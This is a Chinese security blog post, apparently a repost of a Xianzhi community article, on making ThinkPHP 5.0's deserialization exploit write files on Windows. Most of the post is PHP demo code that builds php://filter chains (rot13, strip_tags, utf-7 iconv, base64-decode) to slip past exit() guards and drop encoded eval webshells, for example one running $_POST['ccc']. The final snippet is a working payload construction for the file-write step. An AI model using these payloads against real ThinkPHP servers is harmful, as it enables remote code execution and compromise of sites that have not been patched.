Thinkphp5.0反序列化链在Windows下写文件的方法

2020-03-31 约 245 字 预计阅读 2 分钟

声明:本文 【Thinkphp5.0反序列化链在Windows下写文件的方法】 由作者 1893936812800818 于 2020-03-31 10:01:44 首发 先知社区 曾经 浏览数 100 次

感谢 1893936812800818 的辛苦付出!

前言

关于 Thinkphp5.0 的反序列化,自己从去年下半年就开始跟进了,但是由于 5.0 版本中 Request 类的 __call方法中 hook 是静态变量,导致 5.1、5.2 的反序列化链在 5.0 并不可用;之后,我稍微跟了下有没有其他路径,觉得没有,也就不了了之了。

发现问题

这次有人挖掘出了 5.0 版本的漏洞,让我兴奋了好久,但是一番测试之后,我和大家一样也发现了明显的缺陷:

  1. 无法在windows下写文件
  2. 假如成功在Linux的网站写入文件<?cuc @riny($_TRG[_]);?>xxxxxxxxxxxxxxx.php,可以访问但是无法执行代码。

以下我将会对造成这两点的原因进行分析,并提出解决方法;但是不会跟进分析Thinkphp5.0反序列化链,只会提供一些demo。

分析问题

以下分析windows下不可写的原因以及一些不可用但值得学习的方法
无法在windows下写文件的原因是文件名中含有?<等字符。如下:

<?php
file_put_contents('php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[_]);?>', 'ccc');#报错
file_put_contents('php://filter/write=string.rot13/resource=./cuc @riny($_TRG[_]);', 'ccc'); #生成 cuc @riny($_TRG[_]); 文件

而分析过thinkphp5.0反序列化链可知,file_get_contents 写文件的方式一般如下:

<?php
$payload='php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
file_put_contents($filename, $data); //此代码可以在Linux下生成文件,但是windows下无法生成。

所以有什么办法可以去除<?等字符呢?

php提供了string.strip_tagsconvert.base64-decode过滤器

  • strip_tags 可以用来删除字符串中的 HTML代码 和 PHP代码 ;
  • base64-decode 可以用来解码 base64字符串

可以用 strip_tags 来去除<?...exit()代码片段,使用 base64 编码<?php...eval($...?>防止被 strip_tags 删除。如下:

<?php 
$filename_a= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
$data_without = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resource=aPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
file_put_contents($filename_a, $data_without); #带有等号 会报错

$filename_b= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php";
$data_with = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resourceaPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php";
file_put_contents($filename_b, $data_with) #不带有等号 成功写入

运行上述代码就可知,使用 strip_tags 和 base64 的方法一般情况下不可取,因为 resource 后面一定要有=在php中才是合法的语法规则。

以下分析Linux下成功写入文件但无法执行的原因
虚拟机搭建环境,执行exp,成功写入如下文件:

<?cuc
//000000000000
 rkvg();?>
f:101:"cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=<?php @eval($_GET[_]);?>647p4s96n28n577173q6r398rrspp3sr.cuc

访问该文件,会报错 Parse error: syntax error, unexpected 'rkvg' (T_STRING) 导致后续代码无法执行。

这是因为 php 默认会开启short_open_tag手册),导致 php 把 <? ?>之间的内容识别为php代码,但是由于 <?cuc,也就是 <?后面出现了 cuc 字符串,使得代码语法不合格,php 报错退出执行。

整理问题

综上分析,可以知道问题的难点主要在于

  1. 文件名中有 ?<等非法字符。
  2. 文件内容有<?cuc,使 php 识别为不符合语法规则的php代码,导致报错推出执行。
  3. 如果使用 convert.base64-decode 过滤器则会由于文件内容含有=导致失败。

解决问题

仔细思考convert.base64-decode这个过滤器利用以往的 exp 进行反序列化过程中file_get_contents写文件时,其文件名和文件内容的生成规则:可以简化为下述代码,$payload是可控的。

<?php

$payload='php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
echo $filename."\n\n";
echo $data."\n";
/**
php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>468bc8d30505000a2d7d24702b2cda94.php

<?php
//000000000000
 exit();?>
s:101:"php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>647c4f96a28a577173d6e398eefcc3fe.php";
**/

file_put_contents($filename, $data);

可以试着把上述代码的string.rot13该成convert.base64-decode, 并且base64编码恶意代码<?cuc @riny($_TRG[_]);?>,如下:

<?php

$payload='php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');


echo $filename."\n\n";
echo $data."\n";
/**
php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php

<?php
//000000000000
 exit();?>
s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php";
**/

#file_put_contents($filename, $data);

可以发现文件名变成了PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php
文件内容为

<?php
//000000000000
 exit();?>
s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php";

且会被convert.base64-decode过滤器进行base64解码,但是由于有等号,写入文件肯定会报错。所以现在的问题就变成了,如何让文件名中不含有=

大家可以查看php手册英文版的这个页面,拉到最下面,会发现一个过滤器:convert.iconv.* ,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。它的作用等价于函数 iconv()(这个过滤器在php的中文页面是没有描述的。

看以下demo:

<?php

$cc='php://filter/convert.iconv.utf-8.utf-7/resource=123.txt';
file_put_contents($cc,'=');

/**
123.txt 写入的内容为: +AD0-
**/

也就是,convert.iconv 这个过滤器把 = 转化成了 +AD0-,要知道 +AD0- 是可以被 convert.base64-decode过滤器解码的。

答案呼之欲出。使用 convert.iconv.* 配合 convert.base64-decode

<?php

$payload='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
// echo $filename."\n\n";
// echo $data."\n";
file_put_contents($filename, $data);

后记

convert.iconv.* 这个过滤器支持的字符集可以在这里查看,以及Linux下iconv -l这个命令具体的利用思路就是上述最后一段代码。thinkphp5.0反序列化的exp还需师傅们自己调试了。

若有不足之处,还请多多包涵。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now